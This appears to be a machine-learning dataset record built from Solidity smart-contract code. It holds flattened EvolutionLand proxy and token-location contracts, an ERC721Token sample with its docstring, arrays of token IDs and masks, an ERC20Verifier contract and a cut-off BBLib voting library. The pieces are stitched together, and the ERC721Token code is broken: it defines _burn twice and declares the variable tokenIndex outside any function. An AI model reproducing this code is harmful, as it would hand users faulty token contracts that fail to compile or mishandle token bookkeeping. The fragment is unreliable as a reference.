// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/upgraeability-using-unstructured-storage/contracts/Proxy.sol';
/**
* @title UpgradeabilityProxy
* @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
// Storage position of the address of the current implementation
bytes32 private constant implementationPosition = keccak256("org.zeppelinos.proxy.implementation");
/**
* @dev Constructor function
*/
function UpgradeabilityProxy() public {}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
/**
* @dev Sets the address of the current implementation
* @param newImplementation address representing the new implementation to be set
*/
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
/**
* @dev Upgrades the implementation address
* @param newImplementation representing the address of the new implementation to be set
*/
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation);
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
// Dependency file: @evolutionland/upgraeability-using-unstructured-storage/contracts/OwnedUpgradeabilityProxy.sol
// pragma solidity ^0.4.21;
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/upgraeability-using-unstructured-storage/contracts/UpgradeabilityProxy.sol';
/**
* @title OwnedUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with basic authorization control functionalities
*/
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
// Storage position of the owner of the contract
bytes32 private constant proxyOwnerPosition = keccak256("org.zeppelinos.proxy.owner");
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
function OwnedUpgradeabilityProxy() public {
setUpgradeabilityOwner(msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0));
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy.
* @param implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy and call the new implementation
* to initialize whatever is needed through a low level call.
* @param implementation representing the address of the new implementation to be set.
* @param data represents the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload
*/
function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner {
upgradeTo(implementation);
require(this.call.value(msg.value)(data));
}
}
// Dependency file: @evolutionland/common/contracts/interfaces/ITokenLocation.sol
// pragma solidity ^0.4.24;
contract ITokenLocation {
function hasLocation(uint256 _tokenId) public view returns (bool);
function getTokenLocation(uint256 _tokenId) public view returns (int, int);
function setTokenLocation(uint256 _tokenId, int _x, int _y) public;
function getTokenLocationHM(uint256 _tokenId) public view returns (int, int);
function setTokenLocationHM(uint256 _tokenId, int _x, int _y) public;
}
// Dependency file: @evolutionland/common/contracts/LocationCoder.sol
// pragma solidity ^0.4.24;
library LocationCoder {
// the allocation of the [x, y, z] is [0<1>, x<21>, y<21>, z<21>]
uint256 constant CLEAR_YZ = 0x0fffffffffffffffffffff000000000000000000000000000000000000000000;
uint256 constant CLEAR_XZ = 0x0000000000000000000000fffffffffffffffffffff000000000000000000000;
uint256 constant CLEAR_XY = 0x0000000000000000000000000000000000000000000fffffffffffffffffffff;
uint256 constant NOT_ZERO = 0x1000000000000000000000000000000000000000000000000000000000000000;
uint256 constant APPEND_HIGH = 0xfffffffffffffffffffffffffffffffffffffffffff000000000000000000000;
uint256 constant MAX_LOCATION_ID = 0x2000000000000000000000000000000000000000000000000000000000000000;
int256 constant HMETER_DECIMAL = 10 ** 8;
// x, y, z should between -2^83 (-9671406556917033397649408) and 2^83 - 1 (9671406556917033397649407).
int256 constant MIN_Location_XYZ = -9671406556917033397649408;
int256 constant MAX_Location_XYZ = 9671406556917033397649407;
// 96714065569170334.50000000
int256 constant MAX_HM_DECIMAL = 9671406556917033450000000;
int256 constant MAX_HM = 96714065569170334;
function encodeLocationIdXY(int _x, int _y) internal pure returns (uint result) {
return encodeLocationId3D(_x, _y, 0);
}
function decodeLocationIdXY(uint _positionId) internal pure returns (int _x, int _y) {
(_x, _y, ) = decodeLocationId3D(_positionId);
}
function encodeLocationId3D(int _x, int _y, int _z) internal pure returns (uint result) {
return _unsafeEncodeLocationId3D(_x, _y, _z);
}
function _unsafeEncodeLocationId3D(int _x, int _y, int _z) internal pure returns (uint) {
require(_x >= MIN_Location_XYZ && _x <= MAX_Location_XYZ, "Invalid value.");
require(_y >= MIN_Location_XYZ && _y <= MAX_Location_XYZ, "Invalid value.");
require(_z >= MIN_Location_XYZ && _z <= MAX_Location_XYZ, "Invalid value.");
// uint256 constant FACTOR_2 = 0x1000000000000000000000000000000000000000000; // <16 ** 42> or <2 ** 168>
// uint256 constant FACTOR = 0x1000000000000000000000; // <16 ** 21> or <2 ** 84>
return ((uint(_x) << 168) & CLEAR_YZ) | (uint(_y << 84) & CLEAR_XZ) | (uint(_z) & CLEAR_XY) | NOT_ZERO;
}
function decodeLocationId3D(uint _positionId) internal pure returns (int, int, int) {
return _unsafeDecodeLocationId3D(_positionId);
}
function _unsafeDecodeLocationId3D(uint _value) internal pure returns (int x, int y, int z) {
require(_value >= NOT_ZERO && _value < MAX_LOCATION_ID, "Invalid Location Id");
x = expandNegative84BitCast((_value & CLEAR_YZ) >> 168);
y = expandNegative84BitCast((_value & CLEAR_XZ) >> 84);
z = expandNegative84BitCast(_value & CLEAR_XY);
}
function toHM(int _x) internal pure returns (int) {
return (_x + MAX_HM_DECIMAL)/HMETER_DECIMAL - MAX_HM;
}
function toUM(int _x) internal pure returns (int) {
return _x * LocationCoder.HMETER_DECIMAL;
}
function expandNegative84BitCast(uint _value) internal pure returns (int) {
if (_value & (1<<83) != 0) {
return int(_value | APPEND_HIGH);
}
return int(_value);
}
function encodeLocationIdHM(int _x, int _y) internal pure returns (uint result) {
return encodeLocationIdXY(toUM(_x), toUM(_y));
}
function decodeLocationIdHM(uint _positionId) internal pure returns (int, int) {
(int _x, int _y) = decodeLocationIdXY(_positionId);
return (toHM(_x), toHM(_y));
}
}
// Dependency file: @evolutionland/common/contracts/TokenLocation.sol
// pragma solidity ^0.4.24;
// import "@evolutionland/common/contracts/interfaces/ITokenLocation.sol";
// import "@evolutionland/common/contracts/DSAuth.sol";
// import "@evolutionland/common/contracts/LocationCoder.sol";
contract TokenLocation is DSAuth, ITokenLocation {
using LocationCoder for *;
bool private singletonLock = false;
// token id => encode(x,y) postiion in map, the location is in micron.
mapping (uint256 => uint256) public tokenId2LocationId;
/*
* Modifiers
*/
modifier singletonLockCall() {
require(!singletonLock, "Only can call once");
_;
singletonLock = true;
}
function initializeContract() public singletonLockCall {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function hasLocation(uint256 _tokenId) public view returns (bool) {
return tokenId2LocationId[_tokenId] != 0;
}
function getTokenLocationHM(uint256 _tokenId) public view returns (int, int){
(int _x, int _y) = getTokenLocation(_tokenId);
return (LocationCoder.toHM(_x), LocationCoder.toHM(_y));
}
function setTokenLocationHM(uint256 _tokenId, int _x, int _y) public auth {
setTokenLocation(_tokenId, LocationCoder.toUM(_x), LocationCoder.toUM(_y));
}
// decode tokenId to get (x,y)
function getTokenLocation(uint256 _tokenId) public view returns (int, int) {
uint locationId = tokenId2LocationId[_tokenId];
return LocationCoder.decodeLocationIdXY(locationId);
}
function setTokenLocation(uint256 _tokenId, int _x, int _y) public auth {
tokenId2LocationId[_tokenId] = LocationCoder.encodeLocationIdXY(_x, _y);
}
}
// Dependency file: @evolutionland/common/contracts/ObjectOwnershipAuthority.sol
// pragma solidity ^0.4.24;
contract ObjectOwnershipAuthority {
mapping (address => bool) public whiteList;
constructor(address[] _whitelists) public {
for (uint i = 0; i < _whitelists.length; i ++) {
whiteList[_whitelists[i]] = true;
}
}
function canCall(
address _src, address _dst, bytes4 _sig
) public view returns (bool) {
return ( whiteList[_src] && _sig == bytes4(keccak256("mintObject(address,uint128)")) ) ||
( whiteList[_src] && _sig == bytes4(keccak256("burnObject(address,uint128)")) );
}
}
// Dependency file: @evolutionland/common/contracts/TokenLocationAuthority.sol
// pragma solidity ^0.4.24;
contract TokenLocationAuthority {
mapping (address => bool) public whiteList;
constructor(address[] _whitelists) public {
for (uint i = 0; i < _whitelists.length; i ++) {
whiteList[_whitelists[i]] = true;
}
}
function canCall(
address _src, address _dst, bytes4 _sig
) public view returns (bool) {
return ( whiteList[_src] && _sig == bytes4(keccak256("setTokenLocationHM(uint256,int256,int256)"))) ;
}
}
// Root file: contracts/DeployAndTest.sol
pragma solidity ^0.4.23;
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/InterstellarEncoder.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/SettingsRegistry.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/SettingIds.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/StandardERC223.sol';
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/ObjectOwnership.sol';
// import "@evolutionland/upgraeability-using-unstructured-storage/contracts/OwnedUpgradeabilityProxy.sol";
// import "@evolutionland/common/contracts/TokenLocation.sol";
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/ObjectOwnershipAuthority.sol';
// import "@evolutionland/common/contracts/TokenLocationAuthority.sol";
contract DeployAndTest {
}
|
* @title Full ERC721 Token This implementation includes all the required and some optional functionality of the ERC721 standard Moreover, it includes approve all functionality using operator terminology/ Token name Token symbol Mapping from owner to list of owned token IDs Mapping from token ID to index of the owner tokens list Array with all token ids, used for enumeration Mapping from token id to position in the allTokens array Optional mapping for token URIs
|
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
uint256 tokenIndex = allTokensIndex[_tokenId];
}
| 1,005,253 |
[
1,
5080,
4232,
39,
27,
5340,
3155,
1220,
4471,
6104,
777,
326,
1931,
471,
2690,
3129,
14176,
434,
326,
4232,
39,
27,
5340,
4529,
16053,
1643,
16,
518,
6104,
6617,
537,
777,
14176,
1450,
3726,
16122,
4676,
19,
3155,
508,
3155,
3273,
9408,
628,
3410,
358,
666,
434,
16199,
1147,
7115,
9408,
628,
1147,
1599,
358,
770,
434,
326,
3410,
2430,
666,
1510,
598,
777,
1147,
3258,
16,
1399,
364,
16836,
9408,
628,
1147,
612,
358,
1754,
316,
326,
777,
5157,
526,
4055,
2874,
364,
1147,
24565,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
4232,
39,
27,
5340,
1345,
353,
25110,
1358,
1190,
6609,
16,
4232,
39,
27,
5340,
8252,
1345,
16,
4232,
39,
27,
5340,
288,
203,
203,
225,
533,
2713,
508,
67,
31,
203,
203,
225,
533,
2713,
3273,
67,
31,
203,
203,
225,
2874,
12,
2867,
516,
2254,
5034,
63,
5717,
2713,
16199,
5157,
31,
203,
203,
225,
2874,
12,
11890,
5034,
516,
2254,
5034,
13,
2713,
16199,
5157,
1016,
31,
203,
203,
225,
2254,
5034,
8526,
2713,
777,
5157,
31,
203,
203,
225,
2874,
12,
11890,
5034,
516,
2254,
5034,
13,
2713,
777,
5157,
1016,
31,
203,
203,
225,
2874,
12,
11890,
5034,
516,
533,
13,
2713,
1147,
1099,
2520,
31,
203,
203,
203,
203,
203,
225,
3885,
12,
1080,
389,
529,
16,
533,
389,
7175,
13,
1071,
288,
203,
565,
508,
67,
273,
389,
529,
31,
203,
565,
3273,
67,
273,
389,
7175,
31,
203,
203,
565,
389,
4861,
1358,
12,
1358,
548,
67,
654,
39,
27,
5340,
3572,
25121,
1769,
203,
565,
389,
4861,
1358,
12,
1358,
548,
67,
654,
39,
27,
5340,
2277,
1769,
203,
225,
289,
203,
203,
225,
445,
508,
1435,
3903,
1476,
1135,
261,
1080,
13,
288,
203,
565,
327,
508,
67,
31,
203,
225,
289,
203,
203,
225,
445,
3273,
1435,
3903,
1476,
1135,
261,
1080,
13,
288,
203,
565,
327,
3273,
67,
31,
203,
225,
289,
203,
203,
225,
445,
1147,
3098,
12,
11890,
5034,
389,
2316,
548,
13,
1071,
1476,
1135,
261,
1080,
13,
288,
203,
565,
2583,
12,
1808,
24899,
2316,
548,
10019,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
pragma experimental ABIEncoderV2;
//Libraries
import "../../libraries/TxDataUtils.sol";
import "../../openzeppelin-solidity/SafeMath.sol";
//Inheritance
import "../../interfaces/IAssetVerifier.sol";
import "../../interfaces/IVerifier.sol";
//Internal references
import "../../interfaces/IAddressResolver.sol";
import "../../interfaces/IAssetHandler.sol";
import "../../interfaces/IERC20.sol";
contract ERC20Verifier is TxDataUtils, IVerifier, IAssetVerifier {
using SafeMath for uint;
/* ========== VIEWS ========== */
/**
* @dev Parses the transaction data to make sure the transaction is valid
* @param addressResolver Address of AddressResolver contract
* @param pool Address of the pool
* @param data Transaction call data
* @return (uint, address) Whether the transaction is valid and the received asset
*/
function verify(address addressResolver, address pool, address, bytes calldata data) external virtual override returns (bool, address) {
bytes4 method = getMethod(data);
if (method == bytes4(keccak256("approve(address,uint256)")))
{
address spender = convert32toAddress(getInput(data, 0));
uint amount = uint(getInput(data, 1));
//Only check for contract verifier, since an asset probably won't call transferFrom() on another asset
address verifier = IAddressResolver(addressResolver).contractVerifiers(spender);
//Checks if the spender is an approved address
require(verifier != address(0), "ERC20Verifier: unsupported spender approval");
emit Approve(pool, spender, amount, block.timestamp);
return (true, address(0));
}
return (false, address(0));
}
/**
* @dev Creates transaction data for withdrawing tokens
* @param pool Address of the pool
* @param asset Address of the asset
* @param portion Portion of the pool's balance in the asset
* @return (address, uint, MultiTransaction[]) Withdrawn asset, amount of asset withdrawn, and transactions used to execute the withdrawal
*/
function prepareWithdrawal(address pool, address asset, uint portion) external view virtual override returns (address, uint, MultiTransaction[] memory transactions) {
uint totalAssetBalance = getBalance(pool, asset);
uint withdrawBalance = totalAssetBalance.mul(portion).div(10**18);
return (asset, withdrawBalance, transactions);
}
/**
* @dev Returns the pool's balance in the asset
* @param pool Address of the pool
* @param asset Address of the asset
* @return uint Pool's balance in the asset
*/
function getBalance(address pool, address asset) public view virtual override returns (uint) {
return IERC20(asset).balanceOf(pool);
}
/**
* @dev Returns the decimals of the asset
* @param asset Address of the asset
* @return uint Asset's number of decimals
*/
function getDecimals(address asset) external view override returns (uint) {
return IERC20(asset).decimals();
}
/* ========== EVENTS ========== */
event Approve(address pool, address spender, uint amount, uint timestamp);
}
|
* @dev Returns the pool's balance in the asset @param pool Address of the pool @param asset Address of the asset @return uint Pool's balance in the asset/
|
function getBalance(address pool, address asset) public view virtual override returns (uint) {
return IERC20(asset).balanceOf(pool);
}
| 6,466,793 |
[
1,
1356,
326,
2845,
1807,
11013,
316,
326,
3310,
225,
2845,
5267,
434,
326,
2845,
225,
3310,
5267,
434,
326,
3310,
327,
2254,
8828,
1807,
11013,
316,
326,
3310,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2882,
6112,
12,
2867,
2845,
16,
1758,
3310,
13,
1071,
1476,
5024,
3849,
1135,
261,
11890,
13,
288,
203,
3639,
327,
467,
654,
39,
3462,
12,
9406,
2934,
12296,
951,
12,
6011,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
// (c) SecureVote 2018
// github.com/secure-vote/sv-light-smart-contracts
interface BBFarmIface {
/* events */
event BBFarmInit(bytes4 namespace);
event BallotCreatedWithID(uint ballotId);
/* from permissioned */
function upgradeMe(address newSC) external;
/* global bbfarm getters */
function getNamespace() external view returns (bytes4);
function getVersion() external view returns (uint);
function getBBLibVersion() external view returns (uint256);
function getNBallots() external view returns (uint256);
/* init a ballot */
// note that the ballotId returned INCLUDES the namespace.
function initBallot( bytes32 specHash
, uint256 packed
, IxIface ix
, address bbAdmin
, bytes24 extraData
) external returns (uint ballotId);
/* Sponsorship of ballots */
function sponsor(uint ballotId) external payable;
/* Voting functions */
function submitVote(uint ballotId, bytes32 vote, bytes extra) external;
function submitProxyVote(bytes32[5] proxyReq, bytes extra) external;
/* Ballot Getters */
function getDetails(uint ballotId, address voter) external view returns
( bool hasVoted
, uint nVotesCast
, bytes32 secKey
, uint16 submissionBits
, uint64 startTime
, uint64 endTime
, bytes32 specHash
, bool deprecated
, address ballotOwner
, bytes16 extraData);
function getVote(uint ballotId, uint voteId) external view returns (bytes32 voteData, address sender, bytes extra);
function getTotalSponsorship(uint ballotId) external view returns (uint);
function getSponsorsN(uint ballotId) external view returns (uint);
function getSponsor(uint ballotId, uint sponsorN) external view returns (address sender, uint amount);
function getCreationTs(uint ballotId) external view returns (uint);
/* Admin on ballots */
function revealSeckey(uint ballotId, bytes32 sk) external;
function setEndTime(uint ballotId, uint64 newEndTime) external; // note: testing only
function setDeprecated(uint ballotId) external;
function setBallotOwner(uint ballotId, address newOwner) external;
}
library BBLib {
using BytesLib for bytes;
// ballot meta
uint256 constant BB_VERSION = 5;
// voting settings
uint16 constant USE_ETH = 1; // 2^0
uint16 constant USE_SIGNED = 2; // 2^1
uint16 constant USE_NO_ENC = 4; // 2^2
uint16 constant USE_ENC = 8; // 2^3
// ballot settings
uint16 constant IS_BINDING = 8192; // 2^13
uint16 constant IS_OFFICIAL = 16384; // 2^14
uint16 constant USE_TESTING = 32768; // 2^15
// other consts
uint32 constant MAX_UINT32 = 0xFFFFFFFF;
//// ** Storage Variables
// struct for ballot
struct Vote {
bytes32 voteData;
bytes32 castTsAndSender;
bytes extra;
}
struct Sponsor {
address sender;
uint amount;
}
//// ** Events
event CreatedBallot(bytes32 _specHash, uint64 startTs, uint64 endTs, uint16 submissionBits);
event SuccessfulVote(address indexed voter, uint voteId);
event SeckeyRevealed(bytes32 secretKey);
event TestingEnabled();
event DeprecatedContract();
// The big database struct
struct DB {
// Maps to store ballots, along with corresponding log of voters.
// Should only be modified through internal functions
mapping (uint256 => Vote) votes;
uint256 nVotesCast;
// we need replay protection for proxy ballots - this will let us check against a sequence number
// note: votes directly from a user ALWAYS take priority b/c they do not have sequence numbers
// (sequencing is done by Ethereum itself via the tx nonce).
mapping (address => uint32) sequenceNumber;
// NOTE - We don't actually want to include the encryption PublicKey because _it's included in the ballotSpec_.
// It's better to ensure ppl actually have the ballot spec by not including it in the contract.
// Plus we're already storing the hash of the ballotSpec anyway...
// Private key to be set after ballot conclusion - curve25519
bytes32 ballotEncryptionSeckey;
// packed contains:
// 1. Timestamps for start and end of ballot (UTC)
// 2. bits used to decide which options are enabled or disabled for submission of ballots
uint256 packed;
// specHash by which to validate the ballots integrity
bytes32 specHash;
// extradata if we need it - allows us to upgrade spechash format, etc
bytes16 extraData;
// allow tracking of sponsorship for this ballot & connection to index
Sponsor[] sponsors;
IxIface index;
// deprecation flag - doesn't actually do anything besides signal that this contract is deprecated;
bool deprecated;
address ballotOwner;
uint256 creationTs;
}
// ** Modifiers -- note, these are functions here to allow use as a lib
function requireBallotClosed(DB storage db) internal view {
require(now > BPackedUtils.packedToEndTime(db.packed), "!b-closed");
}
function requireBallotOpen(DB storage db) internal view {
uint64 _n = uint64(now);
uint64 startTs;
uint64 endTs;
(, startTs, endTs) = BPackedUtils.unpackAll(db.packed);
require(_n >= startTs && _n < endTs, "!b-open");
require(db.deprecated == false, "b-deprecated");
}
function requireBallotOwner(DB storage db) internal view {
require(msg.sender == db.ballotOwner, "!b-owner");
}
function requireTesting(DB storage db) internal view {
require(isTesting(BPackedUtils.packedToSubmissionBits(db.packed)), "!testing");
}
/* Library meta */
function getVersion() external view returns (uint) {
// even though this is constant we want to make sure that it's actually
// callable on Ethereum so we don't accidentally package the constant code
// in with an SC using BBLib. This function _must_ be external.
return BB_VERSION;
}
/* Functions */
// "Constructor" function - init core params on deploy
// timestampts are uint64s to give us plenty of room for millennia
function init(DB storage db, bytes32 _specHash, uint256 _packed, IxIface ix, address ballotOwner, bytes16 extraData) external {
db.index = ix;
db.ballotOwner = ballotOwner;
uint64 startTs;
uint64 endTs;
uint16 sb;
(sb, startTs, endTs) = BPackedUtils.unpackAll(_packed);
bool _testing = isTesting(sb);
if (_testing) {
emit TestingEnabled();
} else {
require(endTs > now, "bad-end-time");
// 0x1ff2 is 0001111111110010 in binary
// by ANDing with subBits we make sure that only bits in positions 0,2,3,13,14,15
// can be used. these correspond to the option flags at the top, and ETH ballots
// that are enc'd or plaintext.
require(sb & 0x1ff2 == 0, "bad-sb");
// if we give bad submission bits (e.g. all 0s) then refuse to deploy ballot
bool okaySubmissionBits = 1 == (isEthNoEnc(sb) ? 1 : 0) + (isEthWithEnc(sb) ? 1 : 0);
require(okaySubmissionBits, "!valid-sb");
// take the max of the start time provided and the blocks timestamp to avoid a DoS against recent token holders
// (which someone might be able to do if they could set the timestamp in the past)
startTs = startTs > now ? startTs : uint64(now);
}
require(db.specHash == bytes32(0), "b-exists");
require(_specHash != bytes32(0), "null-specHash");
db.specHash = _specHash;
db.packed = BPackedUtils.pack(sb, startTs, endTs);
db.creationTs = now;
if (extraData != bytes16(0)) {
db.extraData = extraData;
}
emit CreatedBallot(db.specHash, startTs, endTs, sb);
}
/* sponsorship */
function logSponsorship(DB storage db, uint value) internal {
db.sponsors.push(Sponsor(msg.sender, value));
}
/* getters */
function getVote(DB storage db, uint id) internal view returns (bytes32 voteData, address sender, bytes extra, uint castTs) {
